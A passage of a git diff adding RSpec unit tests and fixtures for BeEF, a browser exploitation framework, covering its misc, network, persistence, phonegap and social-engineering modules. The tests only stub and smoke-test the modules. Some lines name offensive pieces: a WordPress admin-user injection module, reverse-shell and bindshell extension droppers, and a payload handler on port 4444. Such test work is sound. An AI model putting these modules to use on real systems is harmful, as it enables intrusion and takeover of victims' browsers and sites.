BeEF::Extension::ETag and +# BeEF::Extension::ServerClientDnsTunnel which are not loaded in unit tests. +# We stub these per-example with stub_const so the stubs don't leak across +# the suite or shadow the real extensions when they happen to be loaded. +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/ipec/**/module.rb')].sort + +# Lightweight stand-ins for the extension singletons; no real behaviour required. +def stub_etag_messages_class + Class.new do + def self.instance + @instance ||= Struct.new(:messages).new({}) + end + end +end + +def stub_dns_tunnel_server_class + Class.new do + def self.instance + @instance ||= Struct.new(:messages).new({}) + end + end +end + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + before(:each) do + # Per-example stubs (auto-removed after each example). + BeEF::Extension.const_set(:ETag, Module.new) unless BeEF::Extension.const_defined?(:ETag) + BeEF::Extension.const_set(:ServerClientDnsTunnel, Module.new) unless BeEF::Extension.const_defined?(:ServerClientDnsTunnel) + stub_const('BeEF::Extension::ETag::ETagMessages', stub_etag_messages_class) unless BeEF::Extension::ETag.const_defined?(:ETagMessages) + stub_const('BeEF::Extension::ServerClientDnsTunnel::Server', stub_dns_tunnel_server_class) unless BeEF::Extension::ServerClientDnsTunnel.const_defined?(:Server) + end + + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything) do |key| + case key + when 'beef.extension.etag.enable' then true + when 'beef.extension.s2c_dns_tunnel.enable' then true + when 'beef.extension.s2c_dns_tunnel.zone' then 'example.com' + else '127.0.0.1' + end + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, [{ 'name' => 'data', 'value' => 'test' }]) + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end +end diff --git a/spec/beef/modules/misc/misc_spec.rb b/spec/beef/modules/misc/misc_spec.rb new file mode 100644 index 000000000..afb4499ea --- /dev/null +++ b/spec/beef/modules/misc/misc_spec.rb @@ -0,0 +1,163 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/misc/ (including subdirs). +# Branch coverage: extra post_execute runs for modules in +# BeefTestConfig.branch_coverage_for(:misc) (defined in spec_helper.rb). +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/misc/**/module.rb')].sort + +BRANCH_COVERAGE_MISC = BeefTestConfig.branch_coverage_for(:misc) + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+(?:\w+|BeEF::\w+(?:::\w+)*)/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+(?:\w+|BeEF::\w+(?:::\w+)*)/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + + # Targeted structural assertions for selected misc modules. Higher value than + # the generic smoke test: checks option count, names, types and shape. + if klass_name == 'Wordpress_add_user' + describe '.options (Wordpress_add_user specifics)' do + it 'includes wordpress path and user options' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + options = described_class.options + expect(options).to be_an(Array) + expect(options.length).to eq(5) # wp_path (parent) + username, password, email, role + + wp_path_option = options.find { |opt| opt['name'] == 'wp_path' } + expect(wp_path_option).not_to be_nil + expect(wp_path_option['value']).to eq('/') + + username_option = options.find { |opt| opt['name'] == 'username' } + expect(username_option).not_to be_nil + expect(username_option['value']).to eq('beef') + + password_option = options.find { |opt| opt['name'] == 'password' } + expect(password_option).not_to be_nil + expect(password_option['value']).to be_a(String) + expect(password_option['value'].length).to eq(10) # SecureRandom.hex(5) = 10 chars + + role_option = options.find { |opt| opt['name'] == 'role' } + expect(role_option).not_to be_nil + expect(role_option['value']).to eq('administrator') + end + end + end + + if klass_name == 'Test_get_variable' + describe '.options (Test_get_variable specifics)' do + it 'returns payload_name option with correct structure' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + options = described_class.options + expect(options).to be_an(Array) + expect(options.length).to eq(1) + + option = options.first + expect(option['name']).to eq('payload_name') + expect(option['ui_label']).to eq('Payload Name') + expect(option['type']).to eq('text') + expect(option['value']).to eq('message') + expect(option['width']).to eq('400px') + end + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + allow(IO).to receive(:popen).and_return(StringIO.new('')) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_raw) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_MISC[branch_key] + it 'runs branch path with realistic datastore' do + branch = BRANCH_COVERAGE_MISC[branch_key] + + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_raw) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end +end diff --git a/spec/beef/modules/network/network_spec.rb b/spec/beef/modules/network/network_spec.rb new file mode 100644 index 000000000..cf79799e4 --- /dev/null +++ b/spec/beef/modules/network/network_spec.rb @@ -0,0 +1,172 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/network/ (including ADC). +# +# Branch coverage data lives in BeefTestConfig.branch_coverage_for(:network) +# (see spec_helper.rb). Per-example stub_const calls inject a Dns::Server +# stand-in only when the real Dns extension is not loaded, avoiding the +# "superclass mismatch for class Server" hazard that arises if the stub +# leaks into the suite before the real extension's spec loads. +# + +require_relative '../../../spec_helper' + +BRANCH_COVERAGE_NETWORK = BeefTestConfig.branch_coverage_for(:network) + +# Lightweight Dns server stand-in used when the real BeEF::Extension::Dns is +# not loaded (e.g. when running modules-only specs). +DNS_SERVER_STUB = Class.new do + def self.instance + @instance ||= Object.new.tap do |o| + def o.add_rule(*) 1 end + def o.remove_rule!(*) nil end + end + end +end + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/network/**/module.rb')].sort + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + before(:each) do + # Irc_nat_pinning calls sleep 30 in post_execute; suppress so the suite doesn't block. + allow(Kernel).to receive(:sleep) + allow_any_instance_of(described_class).to receive(:sleep).and_return(nil) + + # Provide a per-example Dns::Server stand-in only if the real extension hasn't been loaded. + # Using stub_const keeps the stub scoped to this example only. + unless defined?(BeEF::Extension::Dns) && BeEF::Extension::Dns.const_defined?(:Server) + BeEF::Extension.const_set(:Dns, Module.new) unless BeEF::Extension.const_defined?(:Dns) + stub_const('BeEF::Extension::Dns::Server', DNS_SERVER_STUB) + end + end + + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + # If the real Dns extension is loaded (e.g. rake short), stub Server.instance so Dns_rebinding works. + if defined?(BeEF::Extension::Dns) && BeEF::Extension::Dns.const_defined?(:Server) + dns_instance = double('DnsServer', add_rule: 1, remove_rule!: nil) + allow(BeEF::Extension::Dns::Server).to receive(:instance).and_return(dns_instance) + end + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:bind_socket).and_return(nil) + allow(handler).to receive(:unbind_socket).and_return(nil) + allow(handler).to receive(:bind_cached).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything) do |key| + case key + when 'beef.extension.dns_rebinding' then { 'address_http_external' => '127.0.0.1', 'port_proxy' => '1234' } + when 'beef.module.dns_rebinding.domain' then 'example.com' + else '127.0.0.1' + end + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + # Dns_rebinding expects @datastore as Array of option hashes (target, domain, url_callback). + datastore = described_class.name.include?('Dns_rebinding') ? [{ 'value' => '192.168.0.1' }, { 'value' => 'example.com' }, {}] : { 'result' => '', 'results' => '', 'cid' => '0' } + instance = build_command_instance(described_class, datastore) + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:bind_socket) + allow(handler).to receive(:unbind_socket) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_cached) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_NETWORK[branch_key] + it 'runs branch path with realistic datastore' do + raw = BRANCH_COVERAGE_NETWORK[branch_key] + branches = raw.is_a?(Array) ? raw : [raw] + + # NetworkService / NetworkHost belong to the network extension and may not be + # loaded during a modules-only spec run. Provide class doubles per-example + # so `allow(...).to receive(:create)` resolves regardless. + stub_const('BeEF::Core::Models::NetworkService', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkService) + stub_const('BeEF::Core::Models::NetworkHost', Class.new { def self.create(*); end }) unless defined?(BeEF::Core::Models::NetworkHost) + + branches.each do |branch| + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:bind_socket) + allow(handler).to receive(:unbind_socket) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_cached) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + allow_any_instance_of(described_class).to receive(:ip).and_return('0.0.0.0') + allow_any_instance_of(described_class).to receive(:timestamp).and_return('0') + allow(BeEF::Core::Models::NetworkService).to receive(:create) + allow(BeEF::Core::Models::NetworkHost).to receive(:create) + allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) + + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything) do |key| + branch[:config_get] && branch[:config_get].key?(key) ? branch[:config_get][key] : '127.0.0.1' + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end + end +end diff --git a/spec/beef/modules/persistence/persistence_spec.rb b/spec/beef/modules/persistence/persistence_spec.rb new file mode 100644 index 000000000..b05f990f2 --- /dev/null +++ b/spec/beef/modules/persistence/persistence_spec.rb @@ -0,0 +1,75 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/persistence/. +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/persistence/**/module.rb')].sort + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('/hook.js') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(handler).to receive(:bind_raw) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + file_double = double('File').as_null_object + allow(File).to receive(:open).and_return(file_double) + allow(BeEF::Core::Models::Command).to receive(:save_result) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end +end diff --git a/spec/beef/modules/phonegap/phonegap_spec.rb b/spec/beef/modules/phonegap/phonegap_spec.rb new file mode 100644 index 000000000..9d9956714 --- /dev/null +++ b/spec/beef/modules/phonegap/phonegap_spec.rb @@ -0,0 +1,72 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/phonegap/. +# Some modules use #callback instead of #post_execute; only post_execute is tested here. +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/phonegap/**/module.rb')].sort + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:hook_file_path).and_return('/hook.js') + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + instance = build_command_instance(described_class, 'result' => '', 'Result' => '', 'cid' => '0') + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + instance = build_command_instance(described_class, 'result' => '', 'Result' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end +end diff --git a/spec/beef/modules/social_engineering/social_engineering_spec.rb b/spec/beef/modules/social_engineering/social_engineering_spec.rb new file mode 100644 index 000000000..628737860 --- /dev/null +++ b/spec/beef/modules/social_engineering/social_engineering_spec.rb @@ -0,0 +1,103 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Unit tests for every module under modules/social_engineering/. +# Branch coverage data and pre_send skip list live in BeefTestConfig +# (see spec_helper.rb). +# + +require_relative '../../../spec_helper' + +project_root = File.expand_path('../../../../', __dir__) +paths = Dir[File.join(project_root, 'modules/social_engineering/**/module.rb')].sort + +BRANCH_COVERAGE_SOCENG = BeefTestConfig.branch_coverage_for(:social_engineering) +PRE_SEND_SKIP_SOCENG = BeefTestConfig.pre_send_skip_for(:social_engineering) + +paths.each do |path| + rel = path.sub("#{project_root}/", '').sub(/\.rb$/, '') + branch_key = File.dirname(path).sub("#{project_root}/", '') + require_path = File.join('../../../../', rel) + class_line = File.read(path).lines.find { |l| l =~ /\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/ } + next unless class_line + + klass_name = class_line.match(/\bclass\s+(\w+)\s+<\s+BeEF::Core::Command/)[1] + require_relative require_path + mod = Object.const_get(klass_name) + + RSpec.describe mod do + if described_class.respond_to?(:options) + describe '.options' do + it 'returns an Array' do + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:beef_host).and_return('127.0.0.1') + allow(config).to receive(:beef_proto).and_return('http') + allow(config).to receive(:beef_port).and_return('3000') + allow(config).to receive(:beef_url_str).and_return('http://127.0.0.1:3000') + allow(config).to receive(:get).with(anything) do |key| + key == 'beef.module.simple_hijacker.templates' ? [] : '127.0.0.1' + end + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + expect(described_class.options).to be_an(Array) + end + end + end + + if described_class.method_defined?(:pre_send) && !PRE_SEND_SKIP_SOCENG.include?(klass_name) + describe '#pre_send' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind).and_return(nil) + allow(handler).to receive(:bind).and_return(nil) + allow(handler).to receive(:bind_raw).with(anything, anything, anything, anything, anything).and_return(nil) + allow(handler).to receive(:remap).and_return(nil) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + config = instance_double(BeEF::Core::Configuration) + allow(config).to receive(:get).with(anything).and_return('127.0.0.1') + allow(BeEF::Core::Configuration).to receive(:instance).and_return(config) + allow(IO).to receive(:popen).and_return(StringIO.new('')) + # Many pre_send implementations expect @datastore to be an Array of option hashes (name/value) + pre_send_datastore = [ + { 'name' => 'payload', 'value' => 'cmd' }, + { 'name' => 'payload_handler', 'value' => 'http://127.0.0.1:8080' }, + { 'name' => 'extension_name', 'value' => 'TestExt' }, + { 'name' => 'xpi_name', 'value' => 'test.xpi' }, + { 'name' => 'lport', 'value' => '4444' } + ] + instance = build_command_instance(described_class, pre_send_datastore) + expect { run_pre_send(instance) }.not_to raise_error + end + end + end + + if described_class.method_defined?(:post_execute) + describe '#post_execute' do + it 'runs without error' do + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + instance = build_command_instance(described_class, 'result' => '', 'results' => '', 'answer' => '', 'cid' => '0') + expect { run_post_execute(instance) }.not_to raise_error + end + + if BRANCH_COVERAGE_SOCENG[branch_key] + it 'runs branch path with realistic datastore' do + branch = BRANCH_COVERAGE_SOCENG[branch_key] + + handler = instance_double('AssetHandler') + allow(handler).to receive(:unbind) + allow(handler).to receive(:bind) + allow(handler).to receive(:remap) + allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(handler) + instance = build_command_instance(described_class, branch[:datastore]) + expect { run_post_execute(instance) }.not_to raise_error + end + end + end + end + end +end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index b4a4e7df2..35d307118 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -3,14 +3,214 @@ # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # + # Coverage must start before loading application code. -require 'simplecov' -SimpleCov.start do - add_filter '/spec/' - add_group 'Core', 'core' - add_group 'Extensions', 'extensions' - add_group 'Modules', 'modules' - track_files '{core,extensions,modules}/**/*.rb' +require 'simplecov' and SimpleCov.start if ENV['COVERAGE'] + +# Branch-coverage datastore/config fixtures for the dynamic module spec loaders. +# Each spec file under spec/beef/modules/* uses BeefTestConfig.branch_coverage_for(:component) +# to drive an extra post_execute example with realistic data, hitting conditional branches +# that the generic smoke test misses. +# +# Centralising these here: +# - removes duplicate top-level BRANCH_COVERAGE constant definitions across spec files +# (which previously triggered "already initialized constant" warnings and silent overrides), +# - makes the test data discoverable from one place, and +# - matches what spec/README.md claims. +module BeefTestConfig + PRE_SEND_SKIP = { + # Modules whose pre_send needs Zip, real filesystem access, or speech tooling we + # don't want to invoke in unit tests; the dynamic loader skips the generic pre_send + # example for these described_class names. + social_engineering: %w[ + Firefox_extension_bindshell Firefox_extension_dropper Firefox_extension_reverse_shell + Text_to_voice Ui_abuse_ie + ].freeze + }.freeze + + def self.pre_send_skip_for(component) + PRE_SEND_SKIP[component] || [] + end + + def self.branch_coverage_for(component) + case component + when :browser + { + 'modules/browser/detect_wmp' => { datastore: { 'results' => 'wmp=Yes', 'wmp' => '', 'result' => '', 'cid' => '0', 'beefhook' => '1' } }, + 'modules/browser/detect_vlc' => { datastore: { 'results' => 'vlc=Yes', 'vlc' => '', 'result' => '', 'cid' => '0', 'beefhook' => '1' } }, + 'modules/browser/detect_office' => { datastore: { 'results' => 'office=Office 2016', 'result' => '', 'cid' => '0', 'beefhook' => '1' } }, + 'modules/browser/detect_foxit' => { datastore: { 'results' => 'foxit=Yes', 'result' => '', 'cid' => '0', 'beefhook' => '1' } }, + 'modules/browser/detect_activex' => { datastore: { 'results' => 'activex=Yes', 'activex' => '', 'result' => '', 'cid' => '0', 'beefhook' => '1' } } + } + when :exploits + { + 'modules/exploits/vtiger_crm_upload_exploit' => { datastore: { 'result' => 'ok', 'cid' => '0' } }, + 'modules/exploits/router/asus_rt_n12e_get_info' => { + datastore: { + 'result' => '', 'results' => 'ip=192.168.1.1&clients=192.168.1.2,00:11:22:33:44:55&wanip=1.2.3.4&netmask=255.255.255.0&gateway=192.168.1.1&dns=8.8.8.8 8.8.4.4', + 'beefhook' => '1', 'cid' => '0' + }, + config_get: { 'beef.extension.network.enable' => true } + } + } + when :host + { + 'modules/host/detect_cups' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=631&cups=Installed', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/host/detect_airdroid' => { + datastore: { 'results' => 'proto=http&ip=1.2.3.4&port=8888&airdroid=Installed', 'airdroid' => '', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/host/get_internal_ip_java' => { + datastore: { 'results' => '192.168.1.1', 'Result' => '', 'result' => '', 'beefhook' => '1', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/host/get_internal_ip_webrtc' => { + datastore: { 'results' => 'IP is 192.168.1.1', 'Result' => '', 'result' => '', 'beefhook' => '1', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + } + } + when :misc + { + 'modules/misc/wordpress_post_auth_rce' => { datastore: { 'result' => 'ok', 'cid' => '0' } } + } + when :network + { + 'modules/network/port_scanner' => { + datastore: { 'results' => 'ip=1.2.3.4&port=HTTP: Port 80 is OPEN Apache', 'beefhook' => '1', 'result' => '', 'port' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 'modules/network/ping_sweep' => { + datastore: { 'results' => 'ip=192.168.1.1&ping=10ms', 'beefhook' => '1', 'result' => '', 'cid' => '0' }, + config_get: { 'beef.extension.network.enable' => true } + }, + 